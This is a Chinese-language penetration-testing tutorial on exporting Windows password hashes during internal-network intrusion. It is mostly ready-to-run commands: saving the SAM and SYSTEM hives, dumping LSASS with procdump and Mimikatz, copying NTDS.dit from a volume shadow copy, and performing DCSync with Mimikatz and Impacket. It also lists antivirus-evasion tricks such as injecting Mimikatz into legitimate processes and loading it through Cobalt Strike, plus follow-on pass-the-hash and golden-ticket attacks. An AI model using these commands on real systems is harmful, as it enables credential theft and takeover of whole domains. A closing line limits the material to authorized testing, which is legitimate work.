内网渗透导出HASH
字数 853 2025-08-20 18:18:17
内网渗透中HASH导出技术详解
1. 概述
在内网渗透中,当获取到高权限用户身份后,抓取系统密码HASH是横向移动的关键步骤。本文详细讲解如何导出本地机器和域环境中的密码HASH。
2. 本地HASH导出技术
2.1 SAM文件提取
Windows系统将本地账户密码HASH存储在SAM文件中,位于:
%SystemRoot%\system32\config\SAM
提取方法:
- 使用reg命令备份SAM文件:
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
- 使用工具解析:
- Mimikatz:
lsadump::sam /sam:sam.hive /system:system.hive
- Impacket的secretsdump.py:
secretsdump.py -sam sam.hive -system system.hive LOCAL
2.2 LSASS进程内存转储
LSASS进程内存中可能包含明文凭据和HASH:
- 使用Procdump转储:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 使用Mimikatz解析:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
- 直接使用Mimikatz提取:
privilege::debug
sekurlsa::logonpasswords
3. 域HASH导出技术
3.1 NTDS.dit文件提取
域控的NTDS.dit文件包含所有域用户HASH:
- 卷影复制提取:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
- 使用Impacket解析:
secretsdump.py -ntds ntds.dit -system system.hive LOCAL
3.2 DCSync攻击
利用域控复制功能获取HASH:
- 使用Mimikatz:
lsadump::dcsync /domain:domain.com /all
- 使用Impacket:
secretsdump.py domain.com/user@dc.domain.com -just-dc
4. 防御规避技术
4.1 绕过杀毒软件
- 使用白名单进程:
- 如sqlps.exe加载Mimikatz
- 使用rundll32执行恶意DLL
- 内存注入技术:
- 将Mimikatz注入到合法进程
- 使用Cobalt Strike等C2框架的内存加载功能
- 自定义工具:
- 修改Mimikatz源码规避特征检测
- 使用.NET实现的替代工具如SafetyKatz
5. 注意事项
- 权限要求:
- 本地HASH导出需要管理员权限
- DCSync需要域管理员或类似权限
- 防护措施:
- Bitdefender等高级防护可能阻止HASH导出
- 启用Credential Guard会阻止LSASS内存读取
- 日志记录:
- DCSync操作会在域控生成4662事件日志
- LSASS访问会触发4688等进程创建日志
6. 后续利用
获取HASH后可进行:
- Pass-the-Hash攻击
- 黄金票据/白银票据攻击
- 横向移动到其他系统
以上技术仅限授权测试使用,未经授权使用可能违反法律。